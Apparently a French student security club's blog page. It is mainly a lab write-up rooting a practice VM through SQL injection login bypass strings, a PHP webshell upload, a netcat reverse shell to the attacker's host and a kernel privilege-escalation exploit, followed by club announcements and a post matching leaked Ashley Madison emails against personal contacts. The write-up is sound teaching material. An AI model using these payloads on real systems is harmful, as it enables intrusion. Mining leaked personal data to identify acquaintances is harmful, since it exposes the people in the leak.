Pour la séance d’introduction au pentest, nous avions une VM à root en ne connaissant que l’IP. La VM est disponible ici

Je vais expliquer les étapes suivies pour la root ainsi que présenter les choses intéressantes que j’ai tentées en cours de route, même si elles n’ont pas été d’une grande utilité en fin de compte,

Je n’expliquerai pas en détails certains mécanismes sur lesquels l’attaque est basée mais je me suis efforcé de mettre des liens pour ceux qui seraient assez novice.


 

Reconnaissance

La première étape, lorsque l’on a qu’une adresse IP qui nous est donnée, est de faire un scan distant de la machine afin de voir quels services tournent et quels peuvent être les points d’entrées sur la machine. Pour cela j’ai utilisé nmap comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 13_10_46

scan nmap

Les paramètres précisés servent à préciser que l’on veut seulement tester de l’IPv4 (-T4), tous les ports de 1 a 65365 (-p 1-65365) sur l’IP cible. Le paramètre -A dit à nmap de s’exécuter en mode agressif, cela va activer la détection d’ OS et autres éléments.

On peut voir sur le résultat du scan que notamment le port 22 (ssh) est ouvert, j’ai essayé du coup de lancer ssh sur l’IP pour voir si il pouvait y avoir quelque chose d’intéressant comme une bannière mais rien de la sorte. On voit aussi que les ports http (80) et https (443) sont ouverts ainsi que le port 3306 sur lequel tourne MySQL, il semblerait donc qu’il y ait un site web qui tourne sur la VM. On ouvre son navigateur préféré et quand on rentre l’IP en URL on est bien présenté avec un site web et c’est cela qu’on va attaquer.


Attaquer le site web

Bypass l’authentification

Une des failles les plus courantes sur les sites web sont les injections SQL, et en arrivant sur le site on peut directement voir un onglet Log In qui nous emmène vers un formulaire de connexion. J’ai donc essayé de voir si le formulaire était sensible à une injection SQL.

iggy a présenté son injection à un autre endroit du site web et Le_suisse a quant à lui complètement bypass l’authentification sans jamais cracker le mot de passe ou le nom de l’utilisateur. Ces deux autres attaques sont aussi détaillées.

Pour tester si le formulaire était vulnérable j’ai utilisé sqlmap afin d’automatiser le processus et récupérer un maximum d’informations. Comme il s’agit d’une requête POST je l’ai déjà récupérée en format texte (je l’ai fait avec burp car je l’avais déjà lancé mais il y a d’autres moyens) et l’ai mise dans un fichier que je passe en argument de sqlmap comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 13_15_14

Le paramètre -r permet de dire a sqlmap de lire la requête dans un fichier, le paramètre -a quant à lui permet de dire a sqlmap de faire le café et d’essayer de tout retrouver dans la base de données si possible.

L’exécution de sqlmap nous confirme que le formulaire est injectable et de cela, sqlmap nous sort toutes les tables, les utilisateurs de la base de données, etc..

Lorsque sqlmap trouve des valeurs qui peuvent correspondre à des hash de password, l’outil demande si on veut essaye de les crack. En faisant ça, on trouve dans la table user un utilisateur « admin » avec comme mot de passe « 12345678 » (cf. image)

Capture d'écran de 2016-02-05 13_17_51

résultats sqlmap

 

L’exécution de sqlmap nous permet aussi de retrouver les utilisateurs enregistrés qui ont accès à la base de données. J’ai essayé du coup d’accéder de manière distante à la base de données MySQL depuis ma machine hôte mais cela ne semblait pas possible. Mon idée était de voir si c’était possible et ensuite d’utiliser les mécanismes de la base de données pour effectuer un appel système et prendre le contrôle de la machine distante depuis ce point d’entrée.

On essaye donc de se logger en rentrant « admin » et « 12345678 » dans le formulaire et bingo!

Injection de iggy:

lorsque l’on clique sur un article pour le lire sur la page d’accueil on voit que l’url est de la forme @IP/?id=2, il s’avère que ce paramètre est aussi sensible à une injection SQL et qu’on peut effectuer la même démarche avec sqlmap sur cette URL.

Injection de Le_suisse:

Il y a moyen de s’authentifier avec succès sans cracker le contenu de la base de données à l’aide d’une injection SQL.

En arrivant sur le formulaire, la première chose à se rendre compte, surtout si on veut injecter le formulaire directement, est qu’il y a un filtre javascript sur les valeurs du formulaire appliqué à l’envoi:

Capture d'écran de 2016-02-05 14_03_35

Capture d'écran de 2016-02-05 14_03_51

filtre formulaire

On voit que ce filtre remplace tout ce qui n’est pas une lettre ou un chiffre par rien. JavaScript est cependant ici client-side et donc on peut tout simple le désactiver à l’aide de firebug et virer le filtre complètement (nécessaire si on veut injecter directement depuis la page web) comme sur l’image ci-dessous:

Capture d'écran de 2016-02-05 14_03_15

Le_suisse m’a donné la forme globale de l’injection qu’il avait faîte et après quelques essais voici celle qui a marché pour moi, la sienne étant sûrement similaire:

Username: ‘ or ‘a’=’a

Password: ‘) or (‘1’=’1

 

Maintenant que nous sommes connecté sur le site, en plus en tant qu’admin, il faut regarder quelles sont les choses auxquelles on a désormais accès. On voit que l’on peut éditer les événements et en rajouter ainsi qu’upload des fichiers en créant un évènement, on a aussi accès à la gestion des utilisateurs et aux log.

Suite de l’attaque

Notre but final étant de root la machine, on va donc chercher à trouver un vecteur d’attaque nous permettant d’avoir un pied sur le système.

Cross-site scripting (XSS)

Une autre vulnérabilité très répandue sur les sites web est la possibilité de faire du XSS, j’ai testé de voir si on le site y était sensible et il s’avère que c’est le cas. En mettant du script dans le contenu d’un événement, celui-ci se retrouve exécute par l’utilisateur à la visualisation des articles:

 

Capture d'écran de 2016-02-05 14_04_31

Capture d'écran de 2016-02-05 14_04_40

XSS

J’ai essayé d’injecter directement du php du coup afin de pouvoir attaquer le système mais il se fait « sanitizer« , il faut donc trouver un autre moyen de pénétrer le système.

Webshell par upload de fichier

Si l’on retourne à l’ajout d’un événement, on voit que l’on a la possibilité d’uploader un fichier. Si il n’y a pas de restrictions sur le fichier que l’on upload et qu’on y a ensuite accès, il doit être possible d’uploader un fichier php nous donnant un webshell.

Exemple de webshell basique:


 

J’ai perdu énormément de temps ici car j’ai voulu griller les étapes et récupérer mon shell directement en faisant exécuter à mon php la commande système « nc -e /bin/sh 192.168.56.1 4444 » qui ne passait pas (je reviendrai dessus plus tard). monty m’a donc pointé vers un webshell php avec interface graphique: b374k-shell, je l’ai upload et j’ai donc un webshell sur lequel je peux effectuer des commandes systèmes:
Capture d'écran de 2016-02-04 22_16_21

b374k-shell

Obtenir un shell

Lorsque l’on veut un shell distant, on faitt souvent la distinction entre un bind shell et un reverse shell.

Bind shell: Dans ce cas là on va utiliser la machine cible en mode serveur et se connecter dessus depuis notre machine attaquante

Reverse shell: Dans ce cas là, on va utiliser notre propre machine en mode serveur et faire en sorte que la machine attaquée se connecte dessus

Le choix dépend de la situation et de la config réseau, si la machine attaquée était derrière un routeur qui fait du NAT et qu’elle n’était pas routable depuis l’extérieur l’utilisation du bind shell aurait été impossible. De même si, par exemple en ctf, vous attaquez une IP publique mais que n’avez que votre connexion avec votre box qui fait du NAT, c’est beaucoup plus indiqué d’utiliser un bind shell.

J’ai choisi d’utiliser un reverse shell. On démarre une session en mode listener (serveur) sur ma machine hôte avec la commande nc -lvp <my_port> (dans ce cas là nc -lvp 4444) et on va se connecter dessus depuis la cible. Une manière de faire cela est d’effectuer la commande nc -e /bin/sh  <host_ip> 4444, cependant le flag -e n’est pas présent sur toutes les versions de netcat et il s’avère que c’était de là que provenait mon erreur.

J’ai donc choppé un one liner sur pentestmonkey pour faire un reverse shell :

Résultats:

Capture d'écran de 2016-02-04 22_16_37

 

Dernière étape: r00t

Après avoir le shell on peut commencer à taper nos commandes,

On effectue entre autres:

La première commande nous permet de voir que nous sommes sur la machine en tant que l’utilisateur apache.

La deuxième commande nous permet de récupérer la version du kernel de la machine cibe.

Notre but étant d’être root, il va nous falloir faire une privilege escalation pour passer root, celles-ci peuvent entre autres intervenir suite à une mauvaise configuration de l’admin de la machine ou à un bug dans la version du kernel.

Le resultat de la deuxième commande nous permet de savoir que le noyau Linux qui tourne est un 2.6. On va donc chercher sur exploit-db ou site similaire si il y a pas un exploit pour la version 2.6 du kernel Linux. Dans l’installation de Kali, il y a une répertoire contenant une image de exploit-db avec un script de recherche que vous pouvez trouver dans le répertoire

En exécutant la commande suivante on obtient une liste d’exploit potentiels:

Après plusieurs essais infructueux pour ma part avec la plupart de ces exploits, il me semble qu’on a tous utilisé cet exploit qui correspond au script 8478.sh. La compréhension de cet exploit dépasse complètement le cadre de ce write-up, pour ceux intéressé par les détails => http://lwn.net/Articles/329266/

On utilise l’interface d’upload de fichier du site pour upload notre script sur le serveur (que j’ai renommé exploit4.sh dans mon cas).

Le script sera présent dans le répertoire dans lequel le shell est situé.

L’exécution du script requiert en argument le pid de la socket NETLINK que l’on récupère avec:

Le pid qui nous intéresse est celui sur la ligne contant la valeur ffffffff pour groups. Dans mon cas cette valeur est 378.

On exécute donc les commandes suivantes:

Résultats:

Capture d'écran de 2016-02-04 22_20_07 Capture d'écran de 2016-02-04 22_24_38

 


 

Merci à iggy pour la séance 🙂

Vous pouvez trouver les slides de iggy ici

 

logo_transp

 

La conférence internationale sur la sécurité informatique GreHack est de retour le 20 novembre 2015 pour sa 3ème édition sur le campus de Grenoble.
Encore plus de talks, plus de challenges et plus de pizza gratuites ! Comme toujours, le but est de réunir ensemble le meilleur de l’académique, l’industriel, du gouvernement et des hackers pour discuter des nouvelles avancées en sécurité informatique.
Comme pour les précédentes édition, la conférence aura lieu la journée tandis que le CTF ainsi que les workshops ! auront lieu pendant la nuit.

Read More →

Pièces jointes

Logo Docker

Avec à peine une semaine de retard, j’ai enfin mis les slides de la présentation à disposition.

Vous pouvez visionner directement la présentation en ligne ou bien jeter un œil aux sources.

Comme promis pendant la présentation, les sources du challenge web de rentrée avec du Docker inside sont aussi disponible. Je préviens, c’est quick & dirty et les bonnes pratiques évoqués pour Docker sont loin d’être toutes appliquées 😉 .

Pièces jointes

Yopyop,

Voici la présentation de jeudi dernier (un peu à la bourre… ?!).

securimag_forensic_01102015.pdf

Quelques liens en vrac :
Distribution linux ‘forensic’.
_ Kali (plus pour l’analyse/ctf)
_ DEFT
_ Caine
_ FCCU live CD (Distro utilisé par ‘The Belgian Computer Forensic’, super doc et demos)

Dumper la mémoire (et jouer avec volatility) :
Windows : Dumpit
Linux : dd if=/dev/mem of=dump

Les sites d’initiation :
_ Root Me
_ Ringzero
_ W3challs

‘Write Up’ d’épreuves CTF :
_ CTFs sur github
_ CTFTime section writeup

A+
iggy

 

anonymous_wallpaper_by_senovan[1]
 

UPDATE : Slides de l’amphi de présentation : 2015 – Amphi de rentrée.pdf

Securimag reprend du service avec l’amphi de présentation du club le 24 septembre (amphi E – susceptible de changer). Dans cet article : présentation de Securimag (pour les nouveaux), calendrier de rentrée et challenges d’initiation.

Pour les nouveaux

Securimag, c’est le club de sécurité/hacking éthique de l’Ensimag. On y apprend les bases de la sécurité informatique sur tous les domaines. On parle de vulnérabilités des sites web (Injection SQL, XSS, DoS, etc.), de reverse-engineering (crackme, etc.), d’exploit (buffer overflow, stack overflow, code injection, etc.), de crypto (AES, DES – non, c’est une blague -, RSA, SHA, etc.), de stéganographie, de forensic, etc. Des présentations, de la pratique, des challenges, parfois des concours de hack (Paris, Genève, …).

En résumé :

  • Quoi ? Securimag, c’est le club de sécurité informatique de l’Ensimag.
  • Qui ? Des étudiants, des thésards, des employés (pour la plupart des anciens de l’Ensimag, mais pas que).
  • Pour qui ? Ceux qui s’intéressent de près ou de loin à la sécurité informatique, ceux qui veulent péter des sites web et cracker des jeux connaître et mettre en pratique des techniques de hacking sur des plateformes prévues à cet effet. Car soyons honnêtes, ce n’est pas dans le cursus normal de l’Ensimag que vous en verrez beaucoup. Pour ceux aussi qui veulent voir autre chose que des Limousins pendant l’inté.
  • Sur quoi ? Le web, le réseau, la cryptographie, le reverse-engineering, l’exploit, la stéganographie, etc.
  • Pourquoi ? 1) Avoir des notions de sécurité est important & valorisé 2) Ça permet d’approfondir les connaissances acquises à l’Ensimag d’une manière générale.
  • Comment ? Des présentations, des sessions pratiques (TP), des challenges (root-me.org, autre), des CTF (insomni’hack, grehack, hack.lu, etc.).

Calendrier de rentrée

  • 24 sept. 17h30 (amphi E) – Amphi de présentation du club (keywords: CTF online, CTF IRL, rootme, talks, Grehack, sessions pratiques)
  • 01 oct. – Forensic – Donne moi ton pc, je te dirai qui tu es [by iggy]
  • 08 oct. – Un point sur Docker et la sécurité [by Le suisse]
  • 15 oct. – Exploit – Buffer overflow (keywords: exploit, buffer overflow, binaire, crackme) [by boyan]
  • 22 oct. – Quantum Cryptography: The keychain of Schrödinger’s cat [by @_Frky]

Challenges

Securimag propose cette année plusieurs challenges de rentrée pour les nouveaux (préparés par nos soins).
Choisissez-en un. L’objectif est de retrouver un flag. Pour chaque challenge, vous trouverez un fichier Readme.txt dans lequel se trouvent le sujet du challenge et l’adresse email de son concepteur. N’hésitez pas à communiquer avec lui au fur et à mesure de vos avancées. Enfin, si vous cassez un challenge, son concepteur deviendra votre mentor pour l’année.

Pièces jointes

Last week was published the dump of the data base of Ashley Madison. A lot of people has started to look into this to find cool stuff, including me.

So first I downloaded the relatively-large dump (10GB). Then I extracted the archive corresponding to email addresses (aminno_member_email.dump), and from this, with a few lines of python, I ended with a list of 36 396 162 email addresses.

Let’s wander a little bit

From that, I made a few statistics (grep + wc) with no big interest, but some are funny :

  • .fr: 275 708
  • .gouv.fr: 33
  • cea.fr: 3
  • upmf-grenoble.fr: 2
  • imag.fr: 1

And … one very amusing: pope@vatican.com

Then, I checked a few email addresses of people I know, just in case …

Up to the next level

Ok, so now what? Well, what if I could check all people I know to see if they are in this list? Still just in case …

Getting emails from people I know

I have a file containing all email addresses registered on Ashley Madison, but I need to collect all email addresses from people I know. Exporting my address book does not fulfill my goals. I’d like to extend to all people I’ve sent an email to or received an email from. So how to extract this from my email desktop client (here, Mail from Apple) ?

From the user interface, it is very unlikely that such a thing is possible. If any, I did not find it. But I found two interesting posts on the web (http://superuser.com/questions/192227/how-to-export-email-addresses-from-apple-mail and http://c-command.com/spamsieve/help/how-can-i-rebuild-apple). From the first one, I learned that Mail store information in a sqlite database. The other one told me about an interesting file: /Users//Library/Mail/V3/MailData/Envelope Index, which is one of these sqlite files. It sizes 31MB, and was written just a few minutes ago. A strings on it tells me that it contains (a lot of) emails plus the headers, including email addresses. So a few sqlite commands later, here I am with a file containing all email addresses I (directly or indirectly) interacted with during the last two years. Here is the detail of the sqlite commands I used, for those who are interested:

This gave me a file of 5669 lines, one email address per line.

Computing the matching

Once I have these two files, it becomes quite easy to compute the intersection, with a few lines of Python and a little optimization thoughts. Some important points of the implementation:

  • I first sorted the email list from the dump alphabetically, to speed up the search.
  • I sort of hashed it using the first two letters as a key

The implementation can be found here.

The result of my experimentation:

Unfortunately, no one of my email contacts was registered on Ashley Madison …

Bonus

As a bonus, here is a part of the descriptions people use in their profiles on Ashley Madison. Enjoy.

@_Frky

Bienvenue sur le premier (et dernier ?) writeup du Vancouver BSides CTF autrement appelé yvrCTF qui à eu lieu en début de semaine.

Nous allons commencer pour la seule épreuve de reverse du CTF, un reverse 250 nommé Detent.

Nous avons un énoncé minimal avec un serveur où est lancé le binaire, cela servira à tester notre solution pour avoir le flag !

Very much not the same thing as a détente.

detent.termsec.net 9182

Read More →